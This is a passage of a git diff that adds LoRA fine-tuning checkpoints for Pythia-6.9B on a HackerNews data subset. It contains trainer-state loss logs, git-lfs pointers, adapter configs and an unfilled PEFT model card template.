20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.47474647875584e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-90/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..b1e4f452622717b21cced3c419fbb6175bc5e73a --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e29757365eba10c789b745624da585ae732df3810c5fc2a8c423ac56d3b60eef +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..fb797b24589799d1405f536aaac25ad24edc2e29 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4e2810693564f695dae66152cbcded7886db5b98cf7f90b444ae060658dd807f +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..d0cb160fc6752dc0470bb88b1ba16dca7ed969ca --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fd418aa175a4f9508778329e5c11f54241882ad7316c344103bc3804e613599f +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..c7c7ba5a5d73c30d2e2dfccf92552709b61b1a0f --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d4f7e5b3f15e6248eb69742a14f905c700ecf357f80b4e2f91b8b83b2a38d15e +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..665fdd4caa6031a86af6df3a63e5128f31a2610d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/trainer_state.json @@ -0,0 +1,48 @@ +{ + "best_metric": 2.499645471572876, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10", + "epoch": 0.13333333333333333, + "eval_steps": 10, + "global_step": 10, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1638607198617600.0, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-10/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..0c00ba55cb44cf30d6a5baf14964df617b9e0ae5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d0d46671cf4d32e94ba427e13ba9d546bf784aaf64b6b5ad63aafaf2c67752f6 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..98bb2e0e978ab4f18978d691cd8f477ae87dc0d5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:365395cc70baaf884911ec2de139d4532c8c4370dd381904d5df654a1c9c9265 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..e6cdf36295b4d559507cf0b068680edea3de3a81 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:46513e9b1de488f3d70a4461303e6b827989f588807354e14d010b7ee4f4679f +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..4f1a24bb7d4e46bd15c0b55412cc8ba9b9556c35 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cd2ccdaca083e589c09bcd97757fde390a191ed5c643ace13a70b750fd4a4e4b +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..ada77ecdd1e90478a676a60f42334534b1c24815 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/trainer_state.json @@ -0,0 +1,183 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 1.3333333333333333, + "eval_steps": 10, + "global_step": 100, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 1.6386071986176e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-100/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-110/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] 